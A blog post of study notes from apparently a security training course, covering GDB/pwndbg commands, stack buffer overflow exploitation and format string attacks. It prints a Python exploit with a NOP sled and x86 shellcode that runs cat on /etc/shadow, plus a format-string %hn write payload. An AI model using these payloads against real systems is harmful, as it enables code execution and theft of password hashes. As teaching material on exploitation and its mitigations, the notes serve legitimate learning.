common GDB comand for buffer overflow and format string

This code is from Cyber Star essential training.


Common commands for GDB debugging:

pwndbg> file program //shows the information of the file
pwndbg> info functions //shows the function included
pwndbg> b main //set breakpoint
pwndbg> run // 运行程序
pwndbg> so //step over, run other functions, go to the functions we are interested in
pwndbg> x/s address //show the value of the address as string
pwndbg> x/x address //show the value as hexadecimal stored here, first x is examine, second means hexadecimal 
pwndbg> disassemble main //反编译
pwndbg> run < input //run with the payload


construct payload with python

$ python -c "print '<password_here>'”
$ python -c "print '<password_here>'[::-1]” //reverse密码
$ python -c "print('A' * 200)" > input //construct the payload
$ ./buffer < input //execute with the payload


An easy way to find the crash address:
input a cyclic pattern and find where the program crashes
$ wget https://raw.githubusercontent.com/Svenito/exploit-pattern/master/pattern.py
$ python3 pattern.py 200 //generate a 200-byte cyclic pattern
$ python3 pattern.py 200 > input //construct the payload
$ python3 pattern.py 0x000000 //to find the crush place, 0x000000 is the crush address



Construct the payload, offset is the offset of the crush place. 'BBBB' is the place will trigger the buffer overflow,  if we run the program with this payload, the signal will show 0x424242 which means we successfully find the place we are going to overwrite,

import struct


offset = 96


exploit = ""
exploit += "A" * offset
exploit += "BBBB"
exploit += "C" * 20


print(exploit)

 Ps : remember the little-endian  

Replace ‘BBBB’ with the return address 

Trying to write assembly code:
Write the assembly  code (sample) : \x90 means NOP, just occupy a place, it had no effects and move to next instruction.
The assembly code is printing the contents of the shadow file (including my password hash
If we don’t know the return address’s accurate address, we have to overwrite more than the return address. The NOP fiddle with the memory address and will overwrite the  return addressee and finally execute our assembly code.
import struct


offset = 96
rp = struct.pack("<L", 0x565555c7)


nop = "\x90"


payload = ""
payload += "\x31\xc0\x50\x68\x2f\x63\x61\x74\x68"
payload += "\x2f\x62\x69\x6e\x89\xe3\x50\x68\x61"
payload += "\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68"
payload += "\x2f\x65\x74\x63\x89\xe1\x50\x51\x53"
payload += "\x89\xe1\xb0\x0b\xcd\x80"


exploit = ""
exploit += "A" * offset
exploit += "BBBB"
exploit += nop * 200
exploit += payload


print(exploit)


Mitigations

Stack Protector / Stack Canary:
The stack canary is a value that sits before the return pointer in the stack. If this has been changed, the CPU will terminate the program. 
Bypass canary: if we can find the canary’s value, and overwrite with the expected value.

NX / DEP:
No Execute on Linux, or Data Execution Policy on Windows separates areas of the stack into code and data.
This can also be bypassed

ASLR(Address Space Layout Randomisation😞
our shellcode is constantly changing every time.
This can also be bypassed, but mainly by finding code that ASLR doesn't support (there's almost always some bits).


Format string
How it works?
printf("%s\n", somedata); //normal 
printf(somedata); //without string specifier, the instruction will keep moving to find it on the memoery 
 
If we keep send %8x to get the data from the memory, we read the data from the memory one by one.
The first 4 bytes are the address we are going to overwrite, and then we print some data and find the calculated place we are going to change, N$ is the number of the address we are going to overwrite.

payload sample: 
$(printf "\x9e\xf0\xff\xbf\x9c\xf0\xff\xbf")%49143x%24\$hn%12553x%25\$hn.

Mitigations:
Be careful at the user input code.

Popular posts from this blog

Phonebook - Hack the box Write up -- Web LDAP injection

wafwaf -- Hack The Box -- Web SQL injection

Time-based SQLMap and Tamper scripts construct